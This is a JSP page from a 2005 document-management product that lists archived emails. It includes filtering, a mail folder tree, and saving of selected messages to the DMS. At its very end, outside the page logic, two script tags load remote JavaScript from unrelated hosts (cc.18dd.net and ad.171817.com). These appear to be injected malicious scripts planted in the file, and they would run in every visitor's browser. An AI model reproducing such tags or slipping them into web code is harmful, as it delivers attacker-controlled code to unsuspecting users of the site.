<%
/*
 * @(#)ListDmsEmailArchive.jsp
 *
 * Copyright (c) 2005 DCIVision Ltd
 * All rights reserved.2005-06-06
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**
  ListDmsEmailArchive.jsp

  This is a ListDmsEmailArchive page.  It shows the email message.

    @author             Beyond Qu
    @company            DCIVision Ltd
    @creation date      06/06/2005
    @version            $Revision: 1.74.4.21 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*"%>
<%@ page import="java.io.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.mail.dao.*" %>
<%@ page import="com.dcivision.mail.bean.*" %>
<%@ page import="com.dcivision.mail.core.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsEmailArchiveForm" scope="request" class="com.dcivision.dms.web.ListDmsEmailArchiveForm"/>
<%
  try{
    Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    String  LIST_NAME = "dmsEmailList";


    /****************************************************************************
    *  List Attributes Configuration Begin
    ****************************************************************************/
    String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.priority", "PRIORITY"},
                            {"dms.label.email_subject", "SUBJECT"},
                            {"dms.label.email_sender", "SENDER"},
                            {"dms.label.email_sent_date", "SEND_DATE"},
                            {"dms.columnheader.item_size", "SIZE"}
                          };

    String[][] SEARCH_MAP = { {"dms.label.email_subject", "subject"}};
    String[][] SEARCH_TYPE_MAP = {
                                 {"common.options.criteria.contains", "LIKE"},
                                 {"common.options.criteria.equals", "="}
    };


    int  COLUMN_OFFSET = 1;
    String contextPath = request.getContextPath();

//  List duplicateNameList ;
  MailSetting mailSetting = (MailSetting)listDmsEmailArchiveForm.getMailSetting();
  String displayHostAndProtool = "";
  String protocol ="";
  String emailAccountDisplayName = "";
  String emailAccountEmailAddress = "";
  if (!Utility.isEmpty(mailSetting)){
    displayHostAndProtool =   TextUtility.escapeJSString(mailSetting.getIncomingServerHost()) + " (" + mailSetting.getMailServerType().toUpperCase() + ")";
    protocol = mailSetting.getMailServerType();
    emailAccountDisplayName  = mailSetting.getDisplayName();
    emailAccountEmailAddress = mailSetting.getEmailAddress();
  }

  List emailList = request.getAttribute("dmsEmailList") == null? new ArrayList(): (List)request.getAttribute("dmsEmailList");

  int emailListLength = 0;
  if(!Utility.isEmpty(emailList)){
    AbstractBaseObject emailMessageImpl = (AbstractBaseObject)emailList.get(0);
    emailListLength = emailMessageImpl.getRecordCount();
  }

  if(Utility.isEmpty(request.getAttribute("dmsEmailList"))){
    request.setAttribute(LIST_NAME,new ArrayList());
  }

%>
<script language='Javascript'>
<!--
  PreloadImages('<html:img src="Uploading.gif" pathOnly="true"/>');
  var flowWindow = null;
  var clickedFlag = false;
  var targetAction = '';

  function closeFlowWindow() {
    if (popupwin) {
      popupWin.close();
    }
  }

  function saveEmailMessage(){
    var popupWin=0;
    var frm = document.listDmsEmailArchiveForm;
    if (!frm) {
      for (var i = 0; i < document.forms.length; i++) {
        if (document.forms[i].name != "") {
          frm = document.forms[i];
          break;
        }
      }
    }
    var hasChecked = false;

    for (var i = 0; i < frm.elements.length; i++) {
      if (frm.elements[i].name == "basicSelectedID") {
        if (frm.elements[i].checked) {
          hasChecked = true;
          break;
        }
      }
    }


    for (var i = 0; i < frm.elements.length; i++) {
      if (frm.elements[i].name == "basicSelectedID") {
        if (frm.elements[i].checked) {
          //alert("isSave"+frm.elements[i].value);
          if (document.getElementById("isSave"+frm.elements[i].value))
          {
            alert("some Email already save to DMS");
            return;
          }
        }
      }
    }


    if (!hasChecked) {
      alert("<bean:message key='common.message.no_record_selected'/>");
      return;
    }


    if(document.listDmsEmailArchiveForm.targetPath.value==''){
      alert("<bean:message key='errors.dms.target_location'/>");
      return;
    }

    if (clickedFlag) {
      if (popupWin) {
        popupWin.focus();
      }
    } else {
      document.listDmsEmailArchiveForm.closeFlag.value ='2';
      OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp?loadType=upload', 'DCIVisionFlowWindow',200 , 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes,scrollbars=yes');
      document.listDmsEmailArchiveForm.action = '<%=contextPath%>/dms/ListDmsEmailArchive.do?opMode=Save_EMAIL';
      document.listDmsEmailArchiveForm.submit();
      clickedFlag = true;
      return false;
    }
  }

  function toRule(){
    var popupWin=0;
    var frm = document.listDmsEmailArchiveForm;
    if (!frm) {
      for (var i = 0; i < document.forms.length; i++) {
        if (document.forms[i].name != "") {
          frm = document.forms[i];
          break;
        }
      }
    }
    var hasChecked = false;

    for (var i = 0; i < frm.elements.length; i++) {
      if (frm.elements[i].name == "basicSelectedID") {
        if (frm.elements[i].checked) {
          hasChecked = true;
          break;
        }
      }
    }

    /*if (!hasChecked) {
      alert("<bean:message key='common.message.no_record_selected'/>");
      return;
    }


    if(document.listDmsEmailArchiveForm.targetPath.value==''){
      alert("<bean:message key='errors.dms.target_location'/>");
      return;
    }*/

    if (clickedFlag) {
      if (popupWin) {
        popupWin.focus();
      }
    } else {
      document.listDmsEmailArchiveForm.closeFlag.value ='2';
      OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp?loadType=upload', 'DCIVisionFlowWindow',200 , 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes,scrollbars=yes');
      document.listDmsEmailArchiveForm.action = '<%=contextPath%>/dms/ListDmsEmailArchive.do?opMode=To_Rule';
      document.listDmsEmailArchiveForm.submit();
      clickedFlag = true;
      return false;
    }
  }

  function alertWhenNotSelectMessage(){
    alert("<bean:message key='common.message.no_record_selected'/>");
    return;
  }

  function viewEmailDetail(mailid){
    var popupWin=0;
    if (clickedFlag) {
      if (popupWin) {
        popupWin.focus();
      }
    } else {
      document.listDmsEmailArchiveForm.closeFlag.value ='2';
      OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp?loadType=loading', 'DCIVisionFlowWindow',200 , 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes,scrollbars=yes');
      document.location.href="<%=contextPath%>/dms/MaintEmailArchive.do?navMode=ARCHIVE_DMS_EMAIL&mailID="+mailid+"&emailListLength=<%=emailListLength%>";
      clickedFlag = true;
      return false;
    }
  }

  function receiveMail(){
    var popupWin=0;
    if (clickedFlag) {
      if (popupWin) {
        popupWin.focus();
      }
    } else {
      document.listDmsEmailArchiveForm.closeFlag.value ='2';
      OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp?loadType=loading', 'DCIVisionFlowWindow',200 , 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes,scrollbars=yes');
    //document.opMode = "RECEIVE_EMAIL";
      document.listDmsEmailArchiveForm.action = '<%=contextPath%>/dms/ListDmsEmailArchive.do?opMode=RECEIVE_EMAIL';

      document.listDmsEmailArchiveForm.submit();
      clickedFlag = true;
      return false;
    }
  }

  function searchMail(){
      document.listDmsEmailArchiveForm.opMode.value = "";
      document.listDmsEmailArchiveForm.navMode.value = "L";
      document.listDmsEmailArchiveForm.submit();
    }
  function resetMailList(){
      document.listDmsEmailArchiveForm.basicSearchKeyword.value = "";
      document.listDmsEmailArchiveForm.opMode.value = "";
      document.listDmsEmailArchiveForm.navMode.value = "L";
      document.listDmsEmailArchiveForm.submit();
    }

function OpDelete(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
    var hasChecked = false;
    for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }
  if (!hasChecked) {
    alert("No record selected. Operation aborted.");
    return(false);
  }

  if (!confirm(MSG_CONFIRM_DELETE_RECORD)) {
    return(false);
  }
  frm.opMode.value = OP_MODE_DELETE;
  frm.navMode.value = "";
  return OpSubmit(frm);
} // end of the 'OpDelete()' function
  -->
</script>
<%
  String curStartRowNo = request.getParameter("curStartRowNo");
  String preference = SystemParameterFactory.getSystemParameter(SystemParameterConstant.PREFERENCE);
  if(!Utility.isEmpty(sessionContainer.getUserRecord().getPreference())){
    preference = sessionContainer.getUserRecord().getPreference().toString();
  }
%>

<html:form type="listDmsEmailArchiveForm"  action="/dms/ListDmsEmailArchive?navMode=L"  styleClass="form-style-2">

<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo" />
<html:hidden property="curFunctionCode"/>
<html:hidden property="folderID"/>
<html:hidden property="closeFlag" value="0"/>

<div id='topButtonArea'>
  <div id='buttonSection' class="buttonContainer">     
    <html:permissionButton right="E" label="dms.label.account_setting" link='<%=request.getContextPath() + "/dms/MaintEmailArchive.do?navMode=new_email_account"%>'/>
  </div>
</div>

<!-- Page List Bar Begin -->
<layout:listBar>
  <div class="button">
    <html:colheaderButton label="dms.label.receive_email" onClick="receiveMail()"/>
  </div>
  <layout:filterControl/>
  </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsEmailArchiveForm, '${listDmsEmailArchiveForm.sortAttribute}', '${listDmsEmailArchiveForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsEmailArchiveForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- List Panel Begin -->
<div>
  <table width="100%" cellpadding="0" cellspacing="0" border="0">
    <tr>
      <%
        String pop3Name =  EmailReceiver.RECEIVE_EMAIL_SERVER_TYPE_POP3;
        List selectedEmails = (ArrayList)request.getAttribute("selectedEmails");
        ArrayList duplicateNameList = (ArrayList)request.getAttribute("duplicateNameList");
        if (!pop3Name.equals(protocol)){
      %>
      <td valign="top" class="dtreeContainer">
      <!-- Hierarchy Tree Begin -->
        <div id="treeContainer">
          <script language="JavaScript">
          <!--
            if (document.getElementById) {
              webFXTreeConfig.rootIcon = "<html:img src='IconDMSTreeRoot.gif'  pathOnly='true'/>";
              webFXTreeConfig.openRootIcon = "<html:img src='IconDMSTreeRoot.gif'  pathOnly='true'/>";
              webFXTreeHandler.currentID = "";
              var node0 = new WebFXTree(
              '<%=displayHostAndProtool%>', '', '0');
              node0.setBehavior('explorer');
              var node1 = new WebFXTreeItem('INBOX', 'ListDmsEmailArchive.do', '1');
              node0.add(node1);
              var divHeight = GetInnerHeight() - 200;
              if (CURRENT_PREFERENCE == "2") {
                divHeight -= 52;
              }
              //document.write('<div id="treeFrame" style="position:relative;left:0px;top:0px;width:130px;height:' + divHeight + 'px;z-index:1;overflow:auto;">');
              document.write('<div id="treeFrame" >');
              document.write(node0);
              document.write('</div>');
            }
          //-->
          </script>
        </div>
      <!-- Hierarchy Tree End -->
      </td>
      <%
        }
      %>
      <td valign="top">
      <!-- Table Showing Record List Begin -->
      <div id="listContainer">

        <div id="dataGrid" class="listTable">
          <table>
            <!-- Table Column Header Begin -->
            <tr>
              <layout:columnHeader form="listDmsEmailArchiveForm" editLabel="" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsEmailArchiveForm.getSortAttribute()%>" sortOrder="<%=listDmsEmailArchiveForm.getSortOrder()%>" copyColumn="false" editColumn="false" />
            </tr>
            <!-- Table Column Header End -->
            <!-- Record Looping Begin -->
            <logic:iterate id="emailMessage" name='<%=LIST_NAME%>' scope="request" indexId="listLoopCnt">
            <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)emailMessage).getID()%>);" >
              <td align="center">
              <%
                if(selectedEmails!=null&&selectedEmails.contains(((AbstractBaseObject)emailMessage).getID())){
              %>
                <input type="checkbox" name="basicSelectedID" value="<%=((EmailMessageImpl)emailMessage).getID()%>" onclick="return(false);" checked>
              <%
                }else{
              %>
                <input type="checkbox" name="basicSelectedID" value="<%=((EmailMessageImpl)emailMessage).getID()%>" onclick="return(false);">
              <%
                }
              %>
              </td>
              <td align="center">
              <%
                String iconFileName = "";
                String alertString ="";
                switch (((EmailMessageImpl)emailMessage).getPriority()) {
                  case MailMessage.PRIORITY_HIGHEST:
                  case MailMessage.PRIORITY_HIGH:
                    iconFileName = "IconPriorityHigh.gif";
                    alertString = TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_3"));
                    break;
                  case MailMessage.PRIORITY_NORMAL:
                    iconFileName = "IconPriorityMedium.gif";
                    alertString = TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_2"));
                    break;
                  case MailMessage.PRIORITY_LOW:
                  case MailMessage.PRIORITY_LOWEST:
                    iconFileName = "IconPriorityLow.gif";
                    alertString = TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_1"));
                    break;
                }
              %>
                <html:img src='<%=iconFileName%>'  alt='<%=alertString%>'/>
              </td>
              <td nowrap>
              <%
                String currentMailSubjectValue = request.getParameter("mailSubject"+((EmailMessageImpl)emailMessage).getID().intValue());
                if(selectedEmails!=null&&selectedEmails.contains(((AbstractBaseObject)emailMessage).getID())){
                  if(duplicateNameList!=null&&duplicateNameList.contains(((AbstractBaseObject)emailMessage).getID())){
              %>
                <table border="0">
                  <tr>
                    <td><font color="red">*</font></td>
                    <td>
                      <input type='input' name="mailSubject<bean:write name='emailMessage' property='ID'/>" value="<%=TextUtility.htmlEncode(currentMailSubjectValue)%>">
                    </td>
                  </tr>
                </table>
              <%
                  }else{
              %>
                <a href="#" onclick="viewEmailDetail('<%=((EmailMessageImpl)emailMessage).getID()%>')" title = "<bean:write name='emailMessage' property='subject'/>">
              <%
                    if(((EmailMessageImpl)emailMessage).getAnalyzed()){
              %>
                <html:summarizeContent key="<%=((EmailMessageImpl)emailMessage).getSubject()%>" limitLength="20" />
              <%
                    }else{
              %>
                <b><html:summarizeContent key="<%=((EmailMessageImpl)emailMessage).getSubject()%>" limitLength="20" /> </b>
              <%
                    }
              %>
                </a>
                <input type='hidden' name="mailSubject<bean:write name='emailMessage' property='ID'/>" value='<bean:write name='emailMessage' property='subject'/>'>
              <%
                  }
                }else{
              %>
                <a href="#" onclick="viewEmailDetail('<%=((EmailMessageImpl)emailMessage).getID()%>')" title = "<bean:write name='emailMessage' property='subject'/>">
              <%  
                  if(((EmailMessageImpl)emailMessage).getAnalyzed()){
              %>
                <html:summarizeContent key="<%=((EmailMessageImpl)emailMessage).getSubject()%>" limitLength="20" />
              <%
                  }else{
              %>
                <b><html:summarizeContent key="<%=((EmailMessageImpl)emailMessage).getSubject()%>" limitLength="20" /> </b>
              <%
                  }
              %>
                </a>
                <input type='hidden' name="mailSubject<bean:write name='emailMessage' property='ID'/>" value="<bean:write name='emailMessage' property='subject'/>">
              <%
                }
              %>
              </td>
              <td >
                <bean:write name='emailMessage' property='sender'/>
              </td>
              <td nowrap>
                <bean:write name='emailMessage' property='sendDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/>
              </td>
              <td nowrap>
              <%
                int itemSize = ((EmailMessageImpl) emailMessage).getSize();
                out.println(TextUtility.formatFileSize(itemSize));
                List attachmentList = ((EmailMessageImpl) emailMessage).getAttachments();
                if(((EmailMessageImpl) emailMessage).getHaveAttachment()){
              %>
                <html:img src='IconEmailAttachment.gif'  />
              <%
                }
                if(((EmailMessageImpl)emailMessage).getIsSaved()){
              %>
                <input type="hidden" name="isSave<%=((EmailMessageImpl)emailMessage).getID()%>" value="true" />
                <html:img src='IconCompleted.gif'  />
              <%
                }
              %>
              </td>
            </tr>
            </logic:iterate>
            <!-- Table Showing Record List End -->
          </table>
        </div>

        <!-- Pager Information Begin -->
        <div class="listStatusBar" style="position:absolute;bottom:0px;z-index:10;">
          <layout:pager form="listDmsEmailArchiveForm" name='<%=LIST_NAME%>'>
          <div class="statement"><layout:pagerInfo/></div>
          <div class="sepBar"><layout:pagerIndex/></div>
          </layout:pager>
        </div>
        <!-- Pager Information End -->
      </div>
      </td>
    </tr>
  </table>
</div>
<!-- List Panel End -->
<script language='javascript' >
<!--
  if (FindObj("treeContainer")){
    addLoadEvent(function(){SetDivHeight('listContainer', 'treeContainer',300)});
  }
-->
</script>

<!-- Contorl Panel Begin -->
<div>
  <table width="100%">
    <layout:sectionHeader name=""  mandatory='true' blackLine='false' />
    <tr>
      <td class="formLabelSmallMan" style="width:150px;"><bean:message key="dms.label.archiving_target_location"/>:&nbsp;</td>
      <td class="formFieldSmall">
      <%
        String targetRootID = listDmsEmailArchiveForm.getTargetRootID();
        String destinationID = listDmsEmailArchiveForm.getDestinationID();
        if(targetRootID==null) targetRootID = "";
        if(destinationID==null) destinationID = "";
      %>
        <dms:folderPicker property="targetPath" hiddenRootID="targetRootID" hiddenParentID="destinationID" hiddenRootIDValue="<%=targetRootID%>" hiddenParentIDValue="<%=destinationID%>" size="50" allowCompoundDoc="false" allowPaperDoc="false"/>
        <html:permissionButton right="I" label="common.label.save" onClick="saveEmailMessage()"/>
        <br>
      </td>
    </tr>
  </table>
</div>
<!-- Contorl Panel End -->

</html:form>
<!-- Form Section End -->
<%
  }catch(Exception ex){
    session.setAttribute("sessEmailList",null);
    LogFactory.getLog(this.getClass()).error(ex, ex);
  }finally{
  request.setAttribute("duplicateNameList",null);
  }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>